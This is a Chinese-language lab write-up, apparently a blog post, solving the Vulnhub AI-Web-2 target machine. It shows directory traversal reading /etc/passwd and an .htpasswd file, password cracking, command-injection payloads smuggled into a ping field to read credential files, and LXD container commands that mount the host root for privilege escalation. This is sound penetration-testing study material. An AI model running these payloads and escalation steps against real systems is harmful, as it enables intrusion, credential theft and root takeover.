热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

VulunhubWeb2靶机练习之lxc

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档目录前言一、信息收集二、漏洞利用(目录穿越、命令执行)三、

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


目录

前言

 一、信息收集

 二、漏洞利用(目录穿越、命令执行)

 三、提权

总结




前言

提示:这里可以添加本文要记录的大概内容:

Vuluhub Web1靶机也做了,不妨把Web2也做了,总是能学到一些未知的东西。



提示:以下是本篇文章正文内容,下面案例可供参考


一、信息收集

安装好靶机后,一如既往的信息收集,先查看靶机的IP,然后端口情况等等。


靶机的IP地址为192.168.23.133、开放了80端口和22端口,系统是linux_kernel。22端口可以远程ssh登录,80端口用的apache,访问80端口看看。


 


是这么一个页面,还挺帅,可以进行登录和注册,直接注册并且登录进去瞧瞧。


 


好像是一个文件的分享目录 ,XuezhuLi好像是某个集成的框架,先爆破波目录看看,再看看框架有漏洞没。


 


 扫出了webadmin和sign.php、download.php等多个路径,webadmin需要登录,像是后台。


 


有两个漏洞,一个是目录遍历漏洞,一个是CSRF漏洞,自己的靶机没有其它人,第一个没法用,只能用第二个,跟apache的目录遍历漏洞大同小异。



 二、漏洞利用(目录穿越、命令执行)



 遍历出/etc/passwd文件,发现有aiweb2和n0nr00tuser用户,密码未知,爆破有点难。所以好像没啥用,不过80端口用的是apache,可以遍历apache的默认配置文件试试,linux的apache默认存放在/etc/apache2/里面,或许可以找下能够登录后台webadmin的文件,一般Serveradmin会在etc/apache2/sites-enabled/000-default.conf里面有,遍历出来看看。


 


能够看到服务器的根路径为/var/www/html,没有直接显示admin的账号密码,但是显示了认证文件的路径 /etc/apache2/.htpasswd,继续查看。


 


里面存放了用户名和经过hash加密的密码,可以尝试下爆破密码,因为靶机描述提示了要用到的字典 ,把字典下载下来,直接john爆破得到了后台的账号密码,


https://github.com/danielmiessler/SecLists/blame/master/Passwords/Leaked-Databases/rockyou-45.txt

 


知道了后台的账号密码,登录看看。 



 


 这里提示有robots.txt文件。


 


提示有两个目录,/H05Tpin9555/,/S0mextras/,分别访问两个目录,/H05Tpin9555/是一个ping命令的执行,/S0mextras/有提示信息说,想要的东西在/S0mextras/这个目录中。这种ping命令在CTF中常见,可以通过&,|有可能一同被命令执行,从而导致了其它信息泄露。


 


既然提示想要的东西在/S0mextras/目录中,可以试试查找这个目录中的文件。

127.0.0.1|find /var/www/html/webadmin/S0mextras/  -type f  -name '*.txt'

发现了sshUser的文件。


 


 127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt抓取文件中的内容,有用户名和密码,进行ssh登录看看,登录成功。 



 三、提权

登录到靶机后,肯定要进行提权,最好提升到root权限,查看有没有SUID的文件可利用。


find / -user root -perm -4000 -exec ls -l {} \;


 


web1是通过能编辑/etc/passwd用户进行提权,这次不行了,但是SUID权限的文件多了几个,特别是这个/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic,可以进行LXD提权,是个新知识。 


 关于lxc和lxd:


LXC全名Linux Container,就是一种虚拟化的容器技术,可以创建和操作系统接近的环境,但又不需要单独用到内核资源。

LXD全程Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作。



关于 lxd提权:当前用户具有lxd权限时(通过id命令可以查看),可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限。



 可以看到当前用户确实有lxd权限,直接搜提权的文件。


 


 或者通过kali的searchsploit直接搜索也能搜索到,并且该提权的sh文件,在/usr/share/exploitdb/exploits/linux/local/46978.sh中,单有这个文件还不行,还要创建一个容器,并导入到lxd中,资料都显示使用alpine镜像。


​​​​​​https://github.com/saghul/lxd-alpine-builder/https://github.com/saghul/lxd-alpine-builder/icon-default.png?t=M85Bhttps://github.com/saghul/lxd-alpine-builder/下载好镜像后和46978.sh一同传入到靶机中,赋予权限,运行即可权限提升

 但是好像不一定lxd权限提升不一定要使用alpine镜像也可以,可以使用任意容器,一般方式为:


lxc init ubuntu: ignite -c security.privileged=true 初始化Ubuntu镜像
lxc config device add ignite mydevice disk source=/ path=/mnt/root 将根目录挂载lxc start ignite        启动容器
lxc exec ignite /bin/sh        进入容器的shell
chroot /mnt/root        提升权限

那么此靶机应该也可以通过将/etc目录挂载到/mnt/root目录下,然后通过openssl生成一个root用户的密码,将自定义root密码的passwd文件上传到容器中,从而进行root的登录。但是靶机自定义镜像真的太慢了。。没法试,但是还是不用网上46978.sh带的脚本,用了alpine镜像实现成功。


 lxc image import ./apline-v3.13-x86_64-20210218_0139.tar.gz --alias myimage 将镜像添加进lxd中

lxc image list 查看镜像列表

lxc  init alpine ignite -c security.privileged=true 应该是初始化容器并设置特权吧

lxc config device add ignite mydevice disk source=/ path=/mnt/root  将根目录挂载到/mnt/root目录

lxc start ignite        启动容器

lxc exec ignite /bin/sh       进入shell

chroot /mnt/root 提升权限


如果


lxc config device add ignite mydevice disk source=/etc path=/mnt/root  将根目录挂载

可以试试自定义passwd,将passwd文件推入容器中

lxc file push passwd mnt/root/passwd



总结

1、目录遍历漏洞

2、 命令执行漏洞

3、lxc提权漏洞


推荐阅读
  • 从用户转型为开发者:一场思维升级的旅程 | 专访 StarRocks Committer 周威
    从用户转变为开发者,不仅是一次角色的转换,更是一场深刻的思维升级之旅。本次专访中,StarRocks Committer 周威分享了他如何在这一过程中逐步提升技术能力与思维方式,为开源社区贡献自己的力量。 ... [详细]
  • Java 零基础入门:SQL Server 学习笔记(第21篇)
    Java 零基础入门:SQL Server 学习笔记(第21篇) ... [详细]
  • 本文深入探讨了Spring Cloud Eureka在企业级应用中的高级使用场景及优化策略。首先,介绍了Eureka的安全配置,确保服务注册与发现过程的安全性。接着,分析了Eureka的健康检查机制,提高系统的稳定性和可靠性。随后,详细讨论了Eureka的各项参数调优技巧,以提升性能和响应速度。最后,阐述了如何实现Eureka的高可用性部署,保障服务的连续性和可用性。通过这些内容,开发者可以更好地理解和运用Eureka,提升微服务架构的整体效能。 ... [详细]
  • 作为140字符的开创者,Twitter看似简单却异常复杂。其简洁之处在于仅用140个字符就能实现信息的高效传播,甚至在多次全球性事件中超越传统媒体的速度。然而,为了支持2亿用户的高效使用,其背后的技术架构和系统设计则极为复杂,涉及高并发处理、数据存储和实时传输等多个技术挑战。 ... [详细]
  • Go语言实现Redis客户端与服务器的交互机制深入解析
    在前文对Godis v1.0版本的基础功能进行了详细介绍后,本文将重点探讨如何实现客户端与服务器之间的交互机制。通过具体代码实现,使客户端与服务器能够顺利通信,赋予项目实际运行的能力。本文将详细解析Go语言在实现这一过程中的关键技术和实现细节,帮助读者深入了解Redis客户端与服务器的交互原理。 ... [详细]
  • MySQL:不仅仅是数据库那么简单
    MySQL不仅是一款高效、可靠的数据库管理系统,它还具备丰富的功能和扩展性,支持多种存储引擎,适用于各种应用场景。从简单的网站开发到复杂的企业级应用,MySQL都能提供强大的数据管理和优化能力,满足不同用户的需求。其开源特性也促进了社区的活跃发展,为技术进步提供了持续动力。 ... [详细]
  • 深入解析:RKHunter与AIDE在入侵检测中的应用与优势
    本文深入探讨了RKHunter与AIDE在入侵检测领域的应用及其独特优势。通过对比分析,详细阐述了这两种工具在系统完整性验证、恶意软件检测及日志文件监控等方面的技术特点和实际效果,为安全管理人员提供了有效的防护策略建议。 ... [详细]
  • 优化后的标题:利用YUM高效安装与管理MySQL数据库环境 ... [详细]
  • 优化Oracle数据库日志功能的关闭方法与实践
    在优化Oracle数据库日志功能的过程中,关闭不必要的日志记录是一项重要任务。本文探讨了Oracle 11g中日志路径的配置和管理,特别是针对常用的警报日志(alert log)。通过合理配置 `alert_$ORACLE_SID.log` 文件,可以有效减少日志文件的大小和提高系统性能。此外,文章还介绍了如何通过调整参数和使用脚本自动化日志管理,进一步提升数据库的稳定性和维护效率。 ... [详细]
  • MySQL 数据操作:增、删、查、改全面解析
    MySQL 数据操作:增、删、查、改全面解析 ... [详细]
  • 深入解读代码页与字符集的概念及其实际应用
    许多开发者可能未曾留意到这一问题,但如果您的网站频繁遭遇不明原因的乱码现象,深入了解代码页与字符集的概念及其实际应用将大有裨益。代码页(Codepage),即内码表,是计算机系统中用于映射字符与其编码值的一种机制,不同的代码页支持不同的字符集,正确选择和配置代码页对于确保文本数据的准确显示至关重要。在多语言环境下,合理运用字符集和代码页能够有效避免字符编码冲突,提升用户体验。 ... [详细]
  • 本章节深入探讨了 Webpack 命令的高级功能,涵盖了官方快速入门教程中未涉及的细节。通过实际操作和案例分析,对官方文档进行了详细解读与补充,帮助读者更好地理解和应用这些进阶技巧。 ... [详细]
  • 本文提供了 RabbitMQ 3.7 的快速上手指南,详细介绍了环境搭建、生产者和消费者的配置与使用。通过官方教程的指引,读者可以轻松完成初步测试和实践,快速掌握 RabbitMQ 的核心功能和基本操作。 ... [详细]
  • Go语言中Goroutine与通道机制及其异常处理深入解析
    在Go语言中,Goroutine可视为一种轻量级的并发执行单元,其资源消耗远低于传统线程,初始栈大小仅为2KB,而普通线程则通常需要几MB。此外,Goroutine的调度由Go运行时自动管理,能够高效地支持成千上万个并发任务。本文深入探讨了Goroutine的工作原理及其与通道(channel)的配合使用,特别是在异常处理方面的最佳实践,为开发者提供了一套完整的解决方案,以确保程序的稳定性和可靠性。 ... [详细]
  • NoSQL数据库,即非关系型数据库,有时也被称作Not Only SQL,是一种区别于传统关系型数据库的管理系统。这类数据库设计用于处理大规模、高并发的数据存储与查询需求,特别适用于需要快速读写大量非结构化或半结构化数据的应用场景。NoSQL数据库通过牺牲部分一致性来换取更高的可扩展性和性能,支持分布式部署,能够有效应对互联网时代的海量数据挑战。 ... [详细]
author-avatar
手机用户2602891283
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有